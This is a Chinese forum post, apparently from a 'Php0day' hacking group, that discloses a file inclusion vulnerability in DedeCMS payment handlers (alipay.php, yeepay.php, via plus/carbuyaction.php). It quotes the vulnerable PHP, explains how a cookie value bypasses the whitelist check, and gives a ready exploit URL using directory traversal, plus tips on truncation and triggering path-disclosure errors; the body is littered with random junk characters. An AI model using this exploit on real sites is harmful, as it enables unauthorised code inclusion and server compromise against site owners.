晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
' i2 s+ f; m+ `3 N9 n) [% j
8 f/ d; t$ B% z% j8 H, _出现漏洞的两个文件为:3 F n4 u. x+ q
Include/payment/alipay.php) L& f! v2 g: x, S6 L2 f
Include/payment/yeepay.php+ e |4 _7 I4 [" V/ b
漏洞均出现在respond方法里,估计这两个文件是临时工写的。$ Z! A; {- L1 B M/ R
+ a, I( X8 w) T7 k4 N( t& u% yInclude/payment/alipay.php
3 W A) ]' ?9 F+ r4 w
`4 [" [/ I( q& q9 V2 V......
2 d+ p$ {& \% K function respond()
$ \( i' J4 Y& ~0 V' Z' W/ f" Y {% z, M+ I/ p* c7 p: ^4 G5 D
if (!empty($_POST))) I$ {; _, c( F4 v& L
{
& m6 J" _; z. X; c4 ?; K4 \5 \ foreach($_POST as $key => $data)$ K& K M3 o! F. K4 H* J
{$ o1 s z$ K! c2 @
$_GET[$key] = $data;8 R) n+ n" }: O2 b; ?
}% l& U& r. Q1 z! c! X
}
3 L+ T$ g+ |: x% z /* 引入配置文件 */
% T- C6 E9 i+ P9 o require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';/ S; e# V$ o$ g: b! O2 j3 j0 W
......
: u1 J0 F% r& g$ M # V' Z% ]) i' O, G
2 d* i$ t! O# b8 |! @+ B
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
7 E3 @) i+ x" O6 O. z5 h$ ?0 y$ G3 ~! Y7 ?9 M6 W+ C( L0 m: x% v
Include/payment/yeepay.php; h7 D$ T7 {% J2 P( T
- I6 F# U& c9 x( K( D
1 K& X9 F7 i8 T5 p2 ?2 N1 H" c8 s3 E2 K5 `& O9 p
......% O: k/ I' K% r7 Y3 d: e& ]4 m, V
function respond()3 ?! I& a6 a+ b# a1 _, }$ W
{2 E1 `- }# j+ \' u3 y r
) x/ j* W; i9 @- M% {- E6 H9 P! z /* 引入配置文件 */0 X: P9 A/ ?' E* _ c' Z* F
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
+ h/ ]/ o1 Y4 |
! I+ T6 |1 @; @ $p1_MerId = trim($payment['yp_account']);
+ C! Q2 w% r: N4 n" c0 X $merchantKey = trim($payment['yp_key']);) ?- O# i) Q" R) f& ?1 W
...... & R6 Z) N4 M3 |( f" }8 @' b
" m' Y/ m! q$ {9 ?( W7 c, H3 ?+ j- x0 ^: N7 T$ K" h1 j
6 h5 i6 ]9 Q& I% r2 A, y
1 R) K- i* n/ d+ q
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。; T7 v, P8 z, E3 q5 c
/ q S* M' y. R5 O
这两个方法在plus/carbuyaction.php文件调用。1 L: l P T1 ^; P
C" ~3 O" Q% d; S( Pplus/carbuyaction.php
$ C+ o E! t3 I
4 _: K& \) U( F+ n9 h; y: {' ~......+ j# L |% T5 \3 z) I+ q
} else if ($dopost == 'return') {
! l V- F- K7 D0 F, |0 q $write_list = array('alipay', 'bank', 'cod', 'yeepay');
8 r5 ^7 j9 Z3 r8 L* x* B if (in_array($code, $write_list))
5 P1 p) b1 s/ _- i {
! A7 J$ @4 H8 y: G; p require_once DEDEINC.'/payment/'.$code.'.php';
9 Q. t2 }5 i2 s $pay = new $code;5 P. z4 _" g! F" \1 `% O
$msg=$pay->respond();. Q, [( h+ C9 Q8 z5 I: P& k
ShowMsg($msg, "javascript:;", 0, 3000);
6 w9 h5 w' }( `6 Y/ |) Y exit();
+ Z( l5 |1 ~) v& ]5 n4 n } else {
' l) C {2 l+ D* t' [2 E exit('Error:File Type Can\'t Recognized!');' L* W4 V3 ~( k; `+ H
}% u6 W i* ?" S
}7 n) {$ N/ R( G' | ~
...... . l4 I7 @1 O; f
0 d; g$ p/ z' u, X1 H/ J. ]' Z" c2 p1 q2 E/ e- R+ J
. }1 Y9 @! E6 _
3 t) d7 w4 F2 h" o
8 H) \/ e9 O$ B4 g
. Z# @! w6 s, X8 e# A9 `大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
9 }: z5 i! j( ?' G) z所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
" |. S9 T( G# a) ~( K, F/ M1 X1 `) Z! U+ M
回到include/common.inc.php来看看他的机制。# |( J0 p+ o, m$ \% E0 i
. `1 R5 v! l y* Z4 z
0 S- l1 O5 y8 m* g
. b$ Y( T- V2 `1 g6 e, |0 S0 U......
, g8 F' h7 Q9 }: q' q, p% v+ @: q; qforeach(Array('_GET','_POST','_COOKIE') as $_request)
$ T/ F( {6 e( q* r$ {{
- r4 a4 G$ V1 A: v' p foreach($$_request as $_k => $_v)
& D+ ~# t) ]; [. m$ c; ] {
8 x: W5 c6 U0 C" n0 `+ |# d if($_k == 'nvarname') ${$_k} = $_v;
) B2 k- Y0 G: W; E/ U else ${$_k} = _RunMagicQuotes($_v); r# P" H& Q& ]" t% g3 s" Y
}
0 n0 m! l' J0 Z' @5 ]}. i/ I0 |: ^9 ~, M
...... : Z, l1 j& a+ P/ B/ ]1 }
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
2 C. q& ? G# f* {7 \' J$ Z由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |